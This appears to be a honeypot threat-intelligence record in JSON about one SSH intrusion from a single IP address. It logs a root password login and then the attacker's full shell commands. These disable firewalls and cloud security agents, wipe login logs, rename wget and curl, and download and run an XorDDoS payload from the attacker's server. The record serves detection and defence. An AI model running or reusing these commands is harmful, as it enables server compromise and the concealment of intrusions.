{"ip":"23.160.56.211","data_as_of":"2026-10-26T21:48:15+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"3,706 bytes sent","bytes_sent":3706,"session_seconds":1,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-18T13:23:14","last_seen":"2026-10-18T13:23:14","events_24h":0,"events_7d":0,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"ssh","sessions":1}],"geo":{"country_code":"US","country_name":"United States","region":"","city":"","lat":null,"lon":null,"asn":26042,"org":"FiberState, LLC"},"source_domain":"detoxrecoverycenter.com","known_scanners":[],"scanner_tag":{"key":"peeringdb:as26042","label":"FIBERSTATE","category":"cdn","url":"https://www.peeringdb.com/asn/26042"},"cve_matches":[],"malware":[{"sha256":"0ecdc99fbd013f20da7e956aed50ce7c8be61ce4ce21fe3d555bf9a695ef2edf","family":"xorddos","vt_name":"xcckdpmobx","malicious":10,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":22,"hits":2,"last_seen":"2026-10-18 13:23:14"}],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-18T13:23:14","last_seen":"2026-10-18T13:23:14","verdicts":[{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"ssh","port":22,"sessions":1}],"logins":[{"username":"root","password":"Aa123456789","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-18T13:23:13"}],"commands":[{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"exit $?","exit_code":2},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -la /var/run/gcc.pid","exit_code":2},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"exit","exit_code":0},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"iptables -F >/dev/null 2>&1","exit_code":127},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f \"$log\" ] && echo > \"$log\"; done","exit_code":0},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"systemctl stop firewalld ufw >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"lock_tools","exit_code":0},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"lock_tools() {\n    if command -v chattr >/dev/null 2>&1; then\n        chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1\n    fi\n    w_path=$(which wget 2>/dev/null)\n    [ -n \"$w_path\" ] && [ \"$(basename \"$w_path\")\" != \"good\" ] && mv \"$w_path\" \"$(dirname \"$w_path\")/good\" >/dev/null 2>&1\n    c_path=$(which curl 2>/dev/null)\n    [ -n \"$c_path\" ] && [ \"$(basename \"$c_path\")\" != \"cool\" ] && mv \"$c_path\" \"$(dirname \"$c_path\")/cool\" >/dev/null 2>&1\n}","exit_code":0},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"download_vos","exit_code":0},{"ts":"2026-10-18T13:23:14","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"download_vos() {\n    local_arch=$(uname -m)\n    SERVER_IP=\"23[.]160[.]56[.]211\" \n    SERVER_URL=\"[http]://${SERVER_IP}/new.php?type=${local_arch}\"\n    target=\"new.txt\"\n    T_LIMIT=60\n    MAX_ATTEMPTS=3\n    attempt=1\n\n    do_dl() {\n        if command -v wget >/dev/null 2>&1; then\n            wget --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v curl >/dev/null 2>&1; then\n            curl -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v good >/dev/null 2>&1; then\n            good --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v cool >/dev/null 2>&1; then\n            cool -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v python3 >/dev/null 2>&1; then\n            python3 -c \"import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v python >/dev/null 2>&1; then\n            python -c \"import urllib; urllib.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        return 1\n    }\n\n    while [ $attempt -le $MAX_ATTEMPTS ]; do\n        rm -f \"$target\" >/dev/null 2>&1\n        \n        do_dl &\n        dl_pid=$!\n        sec=0\n        while [ $sec -lt $T_LIMIT ]; do\n            if ! kill -0 $dl_pid 2>/dev/null; then\n                wait $dl_pid\n                break\n            fi\n            sleep 1\n            sec=$((sec + 1))\n        done\n        kill -9 $dl_pid >/dev/null 2>&1\n\n        if [ -s \"$target\" ]; then\n            chmod +x \"$target\"\n            setsid \"./$target\" >/dev/null 2>&1 &\n            sleep 1\n            if ! pgrep -f \"$tar","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"rm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"if command -v chattr >/dev/null 2>&1; then\n    chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1\n    chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1\nfi","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"pkill -9 AliYunDun >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"pkill -9 YDService >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"systemctl daemon-reload >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo \"$wdir\"","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"for svc in aegis aliyun YDService tat_agent; do\n    systemctl stop $svc >/dev/null 2>&1\n    systemctl disable $svc >/dev/null 2>&1\n    systemctl mask $svc >/dev/null 2>&1\ndone","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd \"$wdir\" || exit 1","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"for i in \"/dev/shm\" \"/tmp\" \"/var/tmp\" \"/home\" \"/root\"; do\n    touch \"$i/test_exec\" >/dev/null 2>&1\n    chmod +x \"$i/test_exec\" >/dev/null 2>&1\n    if [ -w \"$i\" ] && [ -x \"$i/test_exec\" ]; then\n        wdir=\"$i\"\n        rm -f \"$i/test_exec\"\n        break\n    fi\n    rm -f \"$i/test_exec\" >/dev/null 2>&1\ndone","exit_code":0},{"ts":"2026-10-18T13:23:13","session_id":"a29f55f5-0888-4950-a8a9-8314d6bd69bc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wdir=\"/tmp\"","exit_code":0}],"downloads":[{"url":"[http]://23[.]160[.]56[.]211/new.php?type=x86_64","host":"23[.]160[.]56[.]211","sessions":1,"first_seen":"2026-10-18T13:23:14","last_seen":"2026-10-18T13:23:14","virustotal":{"sha256":"0ecdc99fbd013f20da7e956aed50ce7c8be61ce4ce21fe3d555bf9a695ef2edf","status":"known","malicious":10,"total":75,"name":"xcckdpmobx"}}],"files":[{"sha256":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","name":"lastlog","size":1,"mime_type":"text/plain","kind":"shell-write","times":3,"first_seen":"2026-10-18T13:23:14","last_seen":"2026-10-18T13:23:14","virustotal":{"sha256":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","status":"known","malicious":0,"total":75,"name":"standalone-framework.js"}},{"sha256":"2f50f0fb9c7f1b31fcfec73b71bc17b4358fba5636f040def825e30980ec5d7b","name":"./new.txt","size":101,"mime_type":"text/html","kind":"executed","times":2,"first_seen":"2026-10-18T13:23:14","last_seen":"2026-10-18T13:23:14","virustotal":null},{"sha256":"8851a74ebc84d72901a7c864db28d13291a6f890ed1917ef2ee4e9461aa2f954","name":"new.txt","size":40,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-18T13:23:14","last_seen":"2026-10-18T13:23:14","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["5bd26477da5440a6187bd3f1b39a429c"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["5bd26477da5440a6187bd3f1b39a429c"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"5bd26477da5440a6187bd3f1b39a429c":9},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-18","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"exit $?","payload_hex":"6578697420243f","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-39","seq":39,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"003400045dc03b71","strings":["exit $?"]},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls -la /var/run/gcc.pid","payload_hex":"6c73202d6c61202f7661722f72756e2f6763632e706964","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-37","seq":37,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7a51761b723e5ea8","strings":["ls -la /var/run/gcc.pid"],"iocs":{"domains":["gcc.pid"],"paths":["/var/run/gcc.pid"]}},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"exit","payload_hex":"65786974","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-35","seq":35,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"de3ac21778e51de1","strings":["exit"]},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"iptables -F >/dev/null 2>&1","payload_hex":"69707461626c6573202d46203e2f6465762f6e756c6c20323e2631","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-31","seq":31,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5e5bb611d64fad4b","strings":["iptables -F >/dev/null 2>&1"],"iocs":{"paths":["/dev/null"]}},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f \"$log\" ] && echo > \"$log\"; done","payload_hex":"666f72206c6f6720696e202f7661722f6c6f672f77746d70202f7661722f6c6f672f62746d70202f7661722f6c6f672f6c6173746c6f673b20646f205b202d662022246c6f6722205d202626206563686f203e2022246c6f67223b20646f6e65","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-33","seq":33,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d58da0257bb2a3fc","strings":["for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f \"$log\" ] && ech…"],"iocs":{"paths":["/var/log/wtmp","/var/log/btmp","/var/log/lastlog"]}},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"systemctl stop firewalld ufw >/dev/null 2>&1","payload_hex":"73797374656d63746c2073746f70206669726577616c6c6420756677203e2f6465762f6e756c6c20323e2631","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-29","seq":29,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"942911fb241d38c8","strings":["systemctl stop firewalld ufw >/dev/null 2>&1"],"iocs":{"paths":["/dev/null"]}},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"lock_tools","payload_hex":"6c6f636b5f746f6f6c73","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-27","seq":27,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"43460f1cc98dfb29","strings":["lock_tools"]},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"lock_tools() {\n    if command -v chattr >/dev/null 2>&1; then\n        chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1\n    fi\n    w_path=$(which wget 2>/dev/null)\n    [ -n \"$w_path\" ] && [ \"$(basename \"$w_path\")\" != \"good\" ] && mv \"$w_path\" \"$(dirname \"$w_path\")/good\" >/dev/null 2>&1\n    c_path=$(which curl 2>/dev/null)\n    [ -n \"$c_path\" ] && [ \"$(basename \"$c_path\")\" != \"cool\" ] && mv \"$c_path\" \"$(dirname \"$c_path\")/cool\" >/dev/null 2>&1\n}","payload_hex":"6c6f636b5f746f6f6c732829207b0a20202020696620636f6d6d616e64202d7620636861747472203e2f6465762f6e756c6c20323e26313b207468656e0a2020202020202020636861747472202d69202f7573722f62696e2f77676574202f7573722f62696e2f6375726c203e2f6465762f6e756c6c20323e26310a2020202066690a20202020775f706174683d24287768696368207767657420323e2f6465762f6e756c6c290a202020205b202d6e202224775f7061746822205d202626205b20222428626173656e616d65202224775f7061746822292220213d2022676f6f6422205d202626206d76202224775f7061746822202224286469726e616d65202224775f7061746822292f676f6f6422203e2f6465762f6e756c6c20323e26310a20202020635f706174683d24287768696368206375726c20323e2f6465762f6e756c6c290a202020205b202d6e202224635f7061746822205d202626205b20222428626173656e616d65202224635f7061746822292220213d2022636f6f6c22205d202626206d76202224635f7061746822202224286469726e616d65202224635f7061746822292f636f6f6c22203e2f6465762f6e756c6c20323e26310a7d","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-25","seq":25,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dfbb624606924f93","strings":["lock_tools() {","if command -v chattr >/dev/null 2>&1; then","chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1","w_path=$(which wget 2>/dev/null)","[ -n \"$w_path\" ] && [ \"$(basename \"$w_path\")\" != \"good\" ] && mv \"$w_path\" \"$(dir…","c_path=$(which curl 2>/dev/null)","[ -n \"$c_path\" ] && [ \"$(basename \"$c_path\")\" != \"cool\" ] && mv \"$c_path\" \"$(dir…"],"iocs":{"paths":["/dev/null","/usr/bin/wget","/usr/bin/curl"]}},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"download_vos","payload_hex":"646f776e6c6f61645f766f73","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-23","seq":23,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ce09617dacbce5c9","strings":["download_vos"]},"interactive":true},{"timestamp":"2026-10-18T13:23:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"download_vos() {\n    local_arch=$(uname -m)\n    SERVER_IP=\"23.160.56.211\" \n    SERVER_URL=\"http://${SERVER_IP}/new.php?type=${local_arch}\"\n    target=\"new.txt\"\n    T_LIMIT=60\n    MAX_ATTEMPTS=3\n    attempt=1\n\n    do_dl() {\n        if command -v wget >/dev/null 2>&1; then\n            wget --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v curl >/dev/null 2>&1; then\n            curl -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v good >/dev/null 2>&1; then\n            good --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v cool >/dev/null 2>&1; then\n            cool -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v python3 >/dev/null 2>&1; then\n            python3 -c \"import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        if command -v python >/dev/null 2>&1; then\n            python -c \"import urllib; urllib.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n            [ -s \"$target\" ] && return 0\n        fi\n        return 1\n    }\n\n    while [ $attempt -le $MAX_ATTEMPTS ]; do\n        rm -f \"$target\" >/dev/null 2>&1\n        \n        do_dl &\n        dl_pid=$!\n        sec=0\n        while [ $sec -lt $T_LIMIT ]; do\n            if ! kill -0 $dl_pid 2>/dev/null; then\n                wait $dl_pid\n                break\n            fi\n            sleep 1\n            sec=$((sec + 1))\n        done\n        kill -9 $dl_pid >/dev/null 2>&1\n\n        if [ -s \"$target\" ]; then\n            chmod +x \"$target\"\n            setsid \"./$target\" >/dev/null 2>&1 &\n            sleep 1\n            if ! pgrep -f \"$target\" >/dev/null; then\n                setsid sh \"./$target\" >/dev/null 2>&1 &\n            fi\n            return 0\n        fi\n\n        attempt=$((attempt + 1))\n        sleep 2\n    done\n\n    return 1\n}","payload_hex":"646f776e6c6f61645f766f732829207b0a202020206c6f63616c5f617263683d2428756e616d65202d6d290a202020205345525645525f49503d2232332e3136302e35362e32313122200a202020205345525645525f55524c3d22687474703a2f2f247b5345525645525f49507d2f6e65772e7068703f747970653d247b6c6f63616c5f617263687d220a202020207461726765743d226e65772e747874220a20202020545f4c494d49543d36300a202020204d41585f415454454d5054533d330a20202020617474656d70743d310a0a20202020646f5f646c2829207b0a2020202020202020696620636f6d6d616e64202d762077676574203e2f6465762f6e756c6c20323e26313b207468656e0a20202020202020202020202077676574202d2d6e6f2d636865636b2d6365727469666963617465202d71202d542024545f4c494d49542022245345525645525f55524c22202d4f20222474617267657422203e2f6465762f6e756c6c20323e26310a2020202020202020202020205b202d7320222474617267657422205d2026262072657475726e20300a202020202020202066690a2020202020202020696620636f6d6d616e64202d76206375726c203e2f6465762f6e756c6c20323e26313b207468656e0a2020202020202020202020206375726c202d736b4c202d6d2024545f4c494d49542022245345525645525f55524c22202d6f20222474617267657422203e2f6465762f6e756c6c20323e26310a2020202020202020202020205b202d7320222474617267657422205d2026262072657475726e20300a202020202020202066690a2020202020202020696620636f6d6d616e64202d7620676f6f64203e2f6465762f6e756c6c20323e26313b207468656e0a202020202020202020202020676f6f64202d2d6e6f2d636865636b2d6365727469666963617465202d71202d542024545f4c494d49542022245345525645525f55524c22202d4f20222474617267657422203e2f6465762f6e756c6c20323e26310a2020202020202020202020205b202d7320222474617267657422205d2026262072657475726e20300a202020202020202066690a2020202020202020696620636f6d6d616e64202d7620636f6f6c203e2f6465762f6e756c6c20323e26313b207468656e0a202020202020202020202020636f6f6c202d736b4c202d6d2024545f4c494d49542022245345525645525f55524c22202d6f20222474617267657422203e2f6465762f6e756c6c20323e26310a2020202020202020202020205b202d7320222474617267657422205d2026262072657475726e20300a202020202020202066690a2020202020202020696620636f6d6d616e64202d7620707974686f6e33203e2f6465762f6e756c6c20323e26313b207468656e0a202020202020202020202020707974686f6e33202d632022696d706f72742075726c6c69622e726571756573743b2075726c6c69622e726571756573742e75726c72657472696576652827245345525645525f55524c272c202724746172676574272922203e2f6465762f6e756c6c20323e26310a2020202020202020202020205b202d7320222474617267657422205d2026262072657475726e20300a202020202020202066690a2020202020202020696620636f6d6d616e64202d7620707974686f6e203e2f6465762f6e756c6c20323e26313b207468656e0a202020202020202020202020707974686f6e202d632022696d706f72742075726c6c69623b2075726c6c69622e75726c72657472696576652827245345525645525f55524c272c202724746172676574272922203e2f6465762f6e756c6c20323e26310a2020202020202020202020205b202d7320222474617267657422205d2026262072657475726e20300a202020202020202066690a202020202020202072657475726e20310a202020207d0a0a202020207768696c65205b2024617474656d7074202d6c6520244d41585f415454454d505453205d3b20646f0a2020202020202020726d202d6620222474617267657422203e2f6465762f6e756c6c20323e26310a20202020202020200a2020202020202020646f5f646c20260a2020202020202020646c5f7069643d24210a20202020202020207365633d300a20202020202020207768696c65205b2024736563202d6c742024545f4c494d4954205d3b20646f0a20202020202020202020202069662021206b696c6c202d302024646c5f70696420323e2f6465762f6e756c6c3b207468656e0a20202020202020202020202020202020776169742024646c5f7069640a20202020202020202020202020202020627265616b0a20202020202020202020202066690a202020202020202020202020736c65657020310a2020202020202020202020207365633d242828736563202b203129290a2020202020202020646f6e650a20202020202020206b696c6c202d392024646c5f706964203e2f6465762f6e756c6c20323e26310a0a20202020202020206966205b202d7320222474617267657422205d3b207468656e0a20202020202020202020202063686d6f64202b78202224746172676574220a20202020202020202020202073657473696420222e2f2474617267657422203e2f6465762f6e756c6c20323e263120260a202020202020202020202020736c65657020310a20202020202020202020202069662021207067726570202d6620222474617267657422203e2f6465762f6e756c6c3b207468656e0a2020202020202020202020202020202073657473696420736820222e2f2474617267657422203e2f6465762f6e756c6c20323e263120260a20202020202020202020202066690a20202020202020202020202072657475726e20300a202020202020202066690a0a2020202020202020617474656d70743d242828617474656d7074202b203129290a2020202020202020736c65657020320a20202020646f6e650a0a2020202072657475726e20310a7d","method":"","user_agent":"","ja3":"","session":"a29f55f5-0888-4950-a8a9-8314d6bd69bc-21","seq":21,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3afa0beca9cd9520","strings":["download_vos() {","local_arch=$(uname -m)","SERVER_IP=\"23.160.56.211\"","SERVER_URL=\"http://${SERVER_IP}/new.php?type=${local_arch}\"","target=\"new.txt\"","T_LIMIT=60","MAX_ATTEMPTS=3","attempt=1","do_dl() {","if command -v wget >/dev/null 2>&1; then"],"iocs":{"urls":["http://${SERVER_IP}/new.php?type=${local_arch}"],"ips":["23.160.56.211"],"paths":["/dev/null"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}